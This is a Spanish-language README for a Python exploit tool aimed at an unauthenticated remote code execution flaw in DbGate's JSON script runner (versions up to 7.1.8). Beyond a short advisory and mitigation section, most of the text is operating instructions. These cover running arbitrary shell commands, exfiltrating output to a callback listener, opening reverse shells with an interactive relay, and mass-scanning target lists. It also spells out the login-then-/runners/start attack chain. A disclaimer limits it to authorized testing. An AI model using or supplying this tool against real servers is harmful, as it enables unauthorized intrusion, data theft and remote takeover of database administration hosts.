
DbGate Unauthenticated Remote Code Execution
RCE no autenticado en el ejecutor de scripts JSON de DbGate (dbgate-serve ≤ 7.1.8).
Herramienta de evaluación: CVE-2026-47668.py — solo para pruebas autorizadas.
| CVE | CVE-2026-47668 |
| Severidad | Crítico |
| Producto | DbGate / dbgate-serve |
| Afectado | ≤ 7.1.8 |
| Corregido | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Título: Ejecución Remota de Código no Autenticado en DbGate a través del Ejecutor de Scripts JSON
Los campos controlados por el usuario (functionName, variableName) se incrustan en JavaScript generado dinámicamente sin la validación adecuada. Un atacante puede ejecutar código arbitrario en el proceso hijo del ejecutor de Node.js.
Mitigación: Actualice a 7.1.9+. Restrinja el acceso a la red, desactive la autenticación anónima, rote las credenciales, revise los registros en busca de actividad sospechosa en /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py verifica y valida la explotación contra instancias de DbGate que tiene autorización para probar.
Modos
Resultados
Directorio de salida: Nx/ (vuln, dispatch, exfil, failed, list_report, archivos por objetivo en exfil/)
pip install -r requirements.txt
Requiere: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Entrada en el aviso | Ejemplo |
|---|---|
| URL única | http://192.168.1.10:3000 |
| URL + comando | http://192.168.1.10:3000|id |
| Lista de objetivos | targets.txt |
Cada ejecución CLI debe incluir --cli.
python CVE-2026-47668.py --cli [opciones]
-u / --url — URL base del objetivo
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — comando del shell (predeterminado: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — solo sonda de vulnerabilidad (sin comando)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — vector de inyección: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — puerto predeterminado cuando la URL no tiene puerto (predeterminado: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — usar token Bearer existente
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — cuerpo de inicio de sesión personalizado (predeterminado: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — tiempo de espera HTTP en segundos
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — verificar certificados TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/nombre de host que el objetivo usará para alcanzar su listener
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — enlace local para el listener HTTP (predeterminado: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — puerto de exfiltración HTTP (predeterminado: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — URL de callback externa (deshabilita el listener incorporado)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — segundos de espera para callback (objetivo único, predeterminado: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — enviar salida sin codificación base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec asíncrono en lugar de execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — archivo de lista de objetivos
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — trabajadores concurrentes (predeterminado: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — espera de callback por objetivo en modo masivo (predeterminado: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Masivo + puerto predeterminado personalizado
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
No es necesario para pruebas normales. Use exfiltración HTTP (--cmd) como prueba.
--reverse-shell — el objetivo se conecta a LHOST:LPORT (omitir valor = IP LAN + puerto 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — puerto cuando --reverse-shell no tiene :port
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — dirección de escucha local
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — esperar TCP (predeterminado: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — retransmisión básica stdin/stdout después de la conexión
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Nota para Docker: use una IP alcanzable desde el contenedor DbGate (por ejemplo, la puerta de enlace del host), no solo 127.0.0.1 en su PC.
targets.txt)# comentario
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → anulación de comando por líneaNx/list_report.txtPOST /auth/login → token Bearer (automático a menos que se use --token)POST /runners/start → ejecutar comando + callback HTTP (o TCP inverso si está habilitado)Solo para pruebas de seguridad autorizadas. Debe tener permiso explícito para probar cualquier sistema. El autor no se hace responsable por el uso indebido o ilegal.
Por: Nxploited
| Elemento | Detalle |
|---|
| Endpoint | POST /runners/start |
| Auth | Requiere Bearer; el token puede obtenerse mediante POST /auth/login en implementaciones anónimas o predeterminadas |
| Inyección | functionName, variableName en comandos JSON assign |
| Impacto | Ejecución de comandos del sistema como el usuario del proceso DbGate |
| Modo | Reverse shell | Descripción |
|---|
| AUTO | No | Un solo aviso; token + callback HTTP + valores predeterminados |
| CLI | Opcional | Control total mediante banderas |
| Mass | No | Escaneo desde targets.txt |
--reverse-shell | Sí | Verificación TCP opcional (solo un objetivo) |
| Resultado | Significado |
|---|
| FAIL | Inalcanzable, autenticación fallida o no vulnerable |
| VULN | El ejecutor aceptó solo la sonda |
| DISPATCH | Carga útil enviada; sin salida confirmada |
| EXFIL | Callback recibido — salida de comando confirmada |
| REVSH | TCP inverso conectado (solo modo opcional) |
| Archivo | Contenido |
|---|
Nx/vuln.txt | Objetivos vulnerables (sonda OK) |
Nx/dispatch.txt | Carga útil enviada, no confirmada |
Nx/exfil.txt | Callbacks confirmados |
Nx/failed.txt | Objetivos fallidos |
Nx/exfil/<host>.txt | Salida de comando por objetivo |
Nx/sessions/<id>/summary.json | Resumen de sesión |